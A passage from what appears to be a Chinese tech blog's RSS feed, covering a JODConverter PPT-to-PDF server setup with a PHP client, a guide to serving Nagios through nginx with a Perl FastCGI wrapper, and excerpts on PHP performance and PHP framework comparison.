style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">3.下载jodconverter-core-3.0-beta-3-dist.zip（此步骤可滤过次步骤只是测试转换是否成功）</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; wget http://jodconverter.googlecode.com/files/jodconverter-core-3.0-beta-3-dist.zip ppt2pdf $&gt; unzip jodconverter-core-3.0-beta-3-dist.zip #然后用winscp 上传一个 ppt上来转换&#183; ppt2pdf $&gt; ls daodan.ppt   jodconverter-core-3.0-beta-3 ppt2pdf $&gt; java -jar jodconverter-core-3.0-SNAPSHOT/lib/jodconverter-core-3.0-SNAPSHOT.jar daodan.ppt 1.pdf Dec 29, 2010 4:39:29 PM org.artofsolving.jodconverter.office.ProcessPoolOfficeManager <init> INFO: ProcessManager implementation is UnixProcessManager Dec 29, 2010 4:39:29 PM org.artofsolving.jodconverter.office.OfficeProcess start INFO: starting process with acceptString 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1' and profileDir '/tmp/.jodconverter_socket_host-127.0.0.1_port-2002' Dec 29, 2010 4:39:30 PM org.artofsolving.jodconverter.office.OfficeProcess start INFO: started process; pid = 7108 Dec 29, 2010 4:39:30 PM org.artofsolving.jodconverter.office.OfficeConnection connect INFO: connected: 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1' Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.ProcessPoolOfficeManager stop INFO: stopping Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.OfficeConnection$1 disposing INFO: disconnected: 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1' Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.ManagedOfficeProcess doEnsureProcessExited INFO: process exited with code 0 Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.ProcessPoolOfficeManager stop INFO: stopped ppt2pdf $&gt; ls 1.pdf  daodan.ppt   jodconverter-core-3.0-beta-3 </init></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">#可以用winscp 下载下来查看。<br />4.下载 jodconverter-tomcat-2.2.2.zip 和 jodconverter-sample-webapp</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; wget 'http://downloads.sourceforge.net/project/jodconverter/JODConverter/2.2.2/jodconverter-tomcat-2.2.2.zip?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fjodconverter%2Ffiles%2FJODConverter%2F2.2.2%2F&amp;ts=1293612042&amp;use_mirror=nchc'  ppt2pdf $&gt; svn checkout http://jodconverter.googlecode.com/svn/trunk/jodconverter-sample-webapp jodconverter-sample-webapp  解压 jodconverter-tomcat-2.2.2.zip ppt2pdf $&gt; unzip jodconverter-tomcat-2.2.2.zip #删除 2.2.2版本里的web应用程序 ppt2pdf $&gt; rm jodconverter-tomcat-2.2.2/webapps/converter/* -rf  #编译jodconverter-sample-webapp ppt2pdf $&gt; cd jodconverter-sample-webapp/ ppt2pdf $&gt; mvn package #复制编译出来的 web应用程序进 jodconverter-tomcat-2.2.2 ppt2pdf $&gt; cd target/jodconverter-sample-webapp-3.0-SNAPSHOT ppt2pdf $&gt; cp WEB-INF  documentFormats.js  index.jsp ../jodconverter-tomcat-2.2.2/webapps/converter/ -R</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">5.启动服务</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; cd jodconverter-tomcat-2.2.2 ppt2pdf $&gt; bin/startup.sh Using CATALINA_BASE:   /root/jodconverter-tomcat-2.2.2 Using CATALINA_HOME:   /root/jodconverter-tomcat-2.2.2 Using CATALINA_TMPDIR: /root/jodconverter-tomcat-2.2.2/temp Using JRE_HOME:       /usr</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">6.安装 apache php php-pear<br />#我就用懒人模式安装了&#183;apt-get</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; apt-get install apache2 php5 php-pear</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "># 安装 pear 的 Net_URL2</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; pear install Net_URL2-0.3.1 # 下载安装 HTTP_Request2 ppt2pdf $&gt; wget http://download.pear.php.net/package/HTTP_Request2-0.5.2.tgz ppt2pdf $&gt; tar zxvf HTTP_Request2-0.5.2.tgz ppt2pdf $&gt; cd HTTP_Request2-0.5.2 ppt2pdf $&gt; cp Request2.php /usr/share/php/HTTP/ ppt2pdf $&gt; cp Request2 /usr/share/php/HTTP/ -R</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">7.创建一个convert.php转换 ppt2pdf 的例子<br />#打开浏览查看交互页面<br /><a href="http://www.nginxs.com/wp-content/uploads/2010/12/jodconvert.jpg" style="color: #2970a6; text-decoration: none; "><img src="http://www.nginxs.com/wp-content/uploads/2010/12/jodconvert.jpg" alt="" title="jodconvert" width="620" height="306" size-full=""  wp-image-401"="" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; border-image: initial; max-width: 600px; " /></a><br />#下面我们创建无交互php程序。</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; cd /var/www ppt2pdf $&gt; vim convert.php</pre><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">&lt; ?php require_once 'HTTP/Request2.php';  class DocumentConverterClient {      var $url = 'http://localhost:8080/converter/converted/document.pdf';      function convert($inputFile, $outputType) {         $request = new HTTP_Request2($this-&gt;url);         $request-&gt;setMethod(HTTP_Request2::METHOD_POST)             -&gt;setHeader('Content-Type', 'multipart/form-data')             -&gt;addPostParameter('outputFormat', $outputType)             -&gt;setBody($inputData);         $request-&gt;addUpload('inputDocument', $inputFile);          return $request-&gt;send()-&gt;getBody();     } }  $documentConverter = new DocumentConverterClient();  $inputFile = 'daodan.ppt';               # 要转换的 ppt|doc|pptx|docx $outputFile = 'daodan.pdf';             # 转出来的 pdf $outputType = 'pdf';  $outputData = $documentConverter-&gt;convert($inputFile, $outputType); file_put_contents($outputFile, $outputData); ?&gt;</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">#把传进来的ppt 复制到 www 目录下，给 www 赋予 apache 可写权限</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; cp ../daodan.ppt /var/www/ ppt2pdf $&gt; chown www-data /var/www</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">8.打开浏览器测试。<br /><a href="http://www.nginxs.com/wp-content/uploads/2010/12/convert.jpg" style="color: #2970a6; text-decoration: none; "><img src="http://www.nginxs.com/wp-content/uploads/2010/12/convert.jpg" alt="" title="convert" width="398" height="144" size-full=""  wp-image-396"="" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; border-image: initial; max-width: 600px; " /></a></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">#使用 winscp 下载 转好的 pdf 本地查看<br /><a href="http://www.nginxs.com/wp-content/uploads/2010/12/ppt.jpg" style="color: #2970a6; text-decoration: none; "><img src="http://www.nginxs.com/wp-content/uploads/2010/12/ppt.jpg" alt="" title="ppt" width="771" height="530" size-full=""  wp-image-397"="" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; border-image: initial; max-width: 600px; " /></a></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">PS：他的多线程，我还未测试，我是从编译的时候，发现可以多线程的，再我测试后，会发布。</p><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; clear: both; "></div></div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; float: left; width: 598px; font-size: 12px; color: #555555; font-family: Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif; line-height: normal; background-color: #ffffff; "><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 10px; padding-bottom: 0px; padding-left: 0px; text-align: right; color: #999999; border-right-width: 1px; border-right-style: dashed; border-right-color: #bbbbbb; ">转载请注明：文章转载自：<strong>Eric's linux and nginx!</strong>&nbsp;(<a href="http://www.nginxs.com/" style="color: #999999; ">http://www.nginxs.com</a>)<br />本文地址：<a href="http://www.nginxs.com/linux/393.html" style="color: #999999; ">http://www.nginxs.com/linux/393.html</a></p></div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; height: 16px; line-height: 16px; font-size: 12px; color: #555555; font-family: Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif; background-color: #ffffff; "></div></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/369799.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-02-11 20:47 <a href="http://www.blogjava.net/xiaomage234/archive/2012/02/11/369799.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>nginx搭建nagios</title><link>http://www.blogjava.net/xiaomage234/archive/2011/12/17/366629.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 17 Dec 2011 07:20:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/12/17/366629.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/366629.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/12/17/366629.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/366629.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/366629.html</trackback:ping><description><![CDATA[<div><div>一.安装nagios这里不做说明</div><div>1.nagios map显示出不来，要装GD 和GD-DEV* &nbsp;然后再重新编译nagios，要么就一开始就装好。</div><div></div><div>二.nginx部分</div><div>1.安装</div><div>2.配置部分，nginx不能执行外部程序，所以我们要用fastcgi协议来调用外部程序。</div><div>Nginx并不提供支持对外部程序的直接调用或者解析（所以缺少像apache里的mod_php这样的模块），所有的外部程序（包括PHP）必须通过fastcgi接口来调用，在Linux下接口是socket （文件socket或者Internet socket）。所以为了调用CGI程序，我们需要一个fastcgi的wrapper，这个wrapper绑定在某个固定socket上（比如端口或者文件socket），当nginx将CGI请求发送给这个socket的时候，wrapper接纳请求并fork一个新的线程，这个线程调用外部的程序或者解释器处理脚本并读取返回值，而wrapper再将返回的数据（网页或者图片等）通过fastcgi将数据通过那个固定的socket传递给nginx</div><div></div><div>目前有网上流行的两种fastcgi管理器，perl-cgi和spwan-cgi,用spwan-cgi启动php部分</div><div>例：spwan-cgi -a 127.0.0.1 -p &nbsp;9000 -f /usr/local/php-cgi &nbsp;-C 20</div><div>这里我们也可以用-s 参数来启用sock通信，例：unix:/var/run/nginx.sock</div><div>命令用法可以用--help来查看，然后再nginx.conf写入</div><div>location ~ \.php$ {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /usr/local/nagios/share/;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fastcgi_pass &nbsp; &nbsp;127.0.0.1:9000;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # fastcgi_pass unix:/var/run/nagios.sock;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fastcgi_index &nbsp;index.php;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fastcgi_param &nbsp;SCRIPT_FILENAME /usr/local/nagios/share/$fastcgi_script_name;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;include &nbsp; &nbsp; &nbsp; &nbsp;fastcgi_params;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>把所有php结尾的访问交给php来处理。</div><div></div><div></div><div>下面是perl-cgi的内容，它也是根据fastcgi协议写的</div><div></div><div>#!/usr/bin/perl</div><div></div><div>use FCGI;</div><div>#perl -MCPAN -e 'install FCGI'</div><div>use Socket;</div><div></div><div>#this keeps the program alive or something after exec'ing perl scripts</div><div>END() { } BEGIN() { }</div><div>*CORE::GLOBAL::exit = sub { die "fakeexit\nrc=".shift()."\n"; }; eval q{exit}; if ($@) { exit unless $@ =~ /^fakeexit/; } ;</div><div></div><div>&amp;main;</div><div></div><div>sub main {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #$socket = FCGI::OpenSocket( ":3461", 10 ); #use IP sockets</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $socket = FCGI::OpenSocket( "/var/run/nagios.sock", 10 ); #use UNIX sockets - user running this script must have w access to the 'nginx' folder!!</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $request = FCGI::Request( \*STDIN, \*STDOUT, \*STDERR, \%ENV, $socket );</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($request) {request_loop()};</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FCGI::CloseSocket( $socket );</div><div>}</div><div></div><div>sub request_loop {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while( $request-&gt;Accept() &gt;= 0 ) {</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#processing any STDIN input from WebServer (for CGI-GET actions)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$env = $request-&gt;GetEnvironment();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$stdin_passthrough ='';</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$req_len = 0 + $ENV{CONTENT_LENGTH};</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ($ENV{REQUEST_METHOD} eq 'GET'){</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $stdin_passthrough .= $ENV{'QUERY_STRING'};</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #running the cgi app</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ( (-x $ENV{SCRIPT_FILENAME}) &amp;&amp; #can I execute this?</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(-s $ENV{SCRIPT_FILENAME}) &amp;&amp; #Is this file empty?</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(-r $ENV{SCRIPT_FILENAME}) &nbsp; &nbsp; #can I read this file?</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ){</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #http://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; open $cgi_app, '-|', $ENV{SCRIPT_FILENAME}, $stdin_passthrough or print("Content-type: text/plain\r\n\r\n"); print "Error: CGI app returned no output - Executing $ENV{SCRIPT_FILENAME} failed !\n";</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($cgi_app) {print &lt;$cgi_app&gt;; close $cgi_app;}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("Content-type: text/plain\r\n\r\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print "Error: No such CGI app - $req_len - $ENV{CONTENT_LENGTH} - $ENV{REQUEST_METHOD} - $ENV{SCRIPT_FILENAME} may not exist or is not executable by this process.\n";</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>}</div><div></div><div></div><div></div><div>用一个脚本启动</div><div></div><div>#!/bin/bash</div><div></div><div>## start_nginx_cgi.sh: start nginx cgi mode</div><div>## ljzhou, 2007.08.20</div><div></div><div></div><div>PERL="/usr/bin/perl"</div><div>NGINX_CGI_FILE="/usr/local/nagios/bin/perl-cgi.pl"</div><div></div><div></div><div>#bg_num=`jobs -l |grep "NGINX_CGI_FILE"`</div><div>#PID=`ps aux|grep "perl-cgi"|cut -c10-14|xargs kill -9`</div><div>PID=`ps aux|grep 'perl-cgi'|cut -c10-14|sed -n "1P"`</div><div>echo $PID</div><div>sockfiles="/var/run/nagios.sock"</div><div>kill -9 $PID</div><div></div><div>$PERL $NGINX_CGI_FILE &amp;</div><div></div><div>sleep 3</div><div></div><div>`chown nobody.nobody $sockfiles`</div><div></div><div></div><div></div><div></div><div>&nbsp;然后再加如下配置到nginx</div><div>location ~ \.cgi$ {</div><div>&nbsp; &nbsp; &nbsp;rewrite ^/nagios/cgi-bin/(.*)\.cgi /$1.cgi break;</div><div>&nbsp; &nbsp; &nbsp;fastcgi_pass unix:/var/run/nagios.sock;</div><div>&nbsp; &nbsp; &nbsp;fastcgi_index index.cgi;</div><div>&nbsp; &nbsp; &nbsp;fastcgi_param SCRIPT_FILENAME /usr/local/nagios/sbin$fastcgi_script_name;</div><div>&nbsp; &nbsp; &nbsp;fastcgi_param HTTP_ACCEPT_LANGUAGE en_US;</div><div>&nbsp; &nbsp; &nbsp;include fastcgi_params;</div><div>&nbsp; }</div><div></div><div></div><div>&nbsp; &nbsp; &nbsp;location ~ \.pl$ {</div><div>&nbsp; &nbsp; &nbsp;fastcgi_pass &nbsp;unix:/var/run/nagios.sock;</div><div>&nbsp; &nbsp; &nbsp;fastcgi_index index.pl;</div><div>&nbsp; &nbsp; &nbsp;fastcgi_param SCRIPT_FILENAME &nbsp;/usr/local/nagios/sbin$fastcgi_script_name;</div><div>&nbsp; &nbsp; &nbsp;include &nbsp; &nbsp; &nbsp; fastcgi_params;</div><div>&nbsp; }</div><div></div><div>到处为止OK</div></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/366629.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-12-17 15:20 <a href="http://www.blogjava.net/xiaomage234/archive/2011/12/17/366629.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>深度探讨 PHP 之性能 【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2011/12/17/366599.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 17 Dec 2011 03:26:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/12/17/366599.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/366599.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/12/17/366599.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/366599.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/366599.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1.缘起关于PHP，很多人的直观感觉是PHP是一种灵活的脚本语言，库类丰富，使用简单，安全，非常适合WEB开发，但性能低下。PHP的性能是否真的就 如同大家的感觉一样的差呢？本文就是围绕这么一个话题来进行探讨的。从源码、应用场景、基准性能、对比分析等几个方面深入分析PHP之性能问题，并通过真 实的数据来说话。2.从原理分析PHP性能从原理分析PHP的性能，主要从以下几个方面：内存管理、变量、函数、...&nbsp;&nbsp;<a href='http://www.blogjava.net/xiaomage234/archive/2011/12/17/366599.html'>阅读全文</a><img src ="http://www.blogjava.net/xiaomage234/aggbug/366599.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-12-17 11:26 <a href="http://www.blogjava.net/xiaomage234/archive/2011/12/17/366599.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>国外主流PHP框架比较-CodeIgniter、CakePHP、ZendFramework、Symfony [转]</title><link>http://www.blogjava.net/xiaomage234/archive/2011/12/12/366153.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 12 Dec 2011 07:18:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/12/12/366153.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/366153.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/12/12/366153.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/366153.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/366153.html</trackback:ping><description><![CDATA[<div><span style="color: #686e55; font-family: Arial; font-size: 12px; line-height: 18px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; ">转自：http://tech.it168.com/a2009/0203/264/000000264249.shtml<br style="line-height: normal; " /><br style="line-height: normal; " /><br style="line-height: normal; " />【IT168技术分析评论】　<br style="line-height: normal; " />最近简单的使用了目前在国内用的比较多的几个主流国外PHP框架(不包括国内框架)，大致对这些框架有个直观上的感受，简单分享一下，对于哪些做框架选型的时候，权当一个参考。<br style="line-height: normal; " /><br style="line-height: normal; " />主要参考的框架包括：CodeIgniter、CakePHP、ZendFramework、Symfony<br style="line-height: normal; " /><br style="line-height: normal; " />说明：我对很多框架也没有认真使用，只是简单试用了一下，可能很多看法不成熟或者是错误的，请大家指正，一起成长。<br style="line-height: normal; " /><br style="line-height: normal; " />【 CodeIgniter 】<br style="line-height: normal; " /><br style="line-height: normal; " />官方网站：http://codeigniter.com<br style="line-height: normal; " /><br style="line-height: normal; " />中文网站：http://codeigniter.org.cn<br style="line-height: normal; " /><br style="line-height: normal; " />中文手册：http://codeigniter.org.cn/user_guide<br style="line-height: normal; " /><br style="line-height: normal; " />视频教程：http://codeigniter.org.cn/tutorials<br style="line-height: normal; " /><br style="line-height: normal; " />测试版本：CodeIgniter_1.6.1<br style="line-height: normal; " /><br style="line-height: normal; " />优点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. 配置简单，全部的配置使用PHP脚本来配置，执行效率高;具有基本的路由功能，能够进行一定程度的路由;具有初步的Layout功能，能够制作一定程度的界面外观;数据库层封装的不错，具有基本的MVC功能<br style="line-height: normal; " /><br style="line-height: normal; " />2. 快速简洁，代码不多，执行性能高，框架简单，容易上手，学习成本低，文档详细;自带了很多简单好用的library，框架适合小型应用<br style="line-height: normal; " /><br style="line-height: normal; " />缺点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. 把Model层简单的理解为数据库操作<br style="line-height: normal; " /><br style="line-height: normal; " />2. 框架略显简单，只能够满足小型应用，略微不太能够满足中型应用需要<br 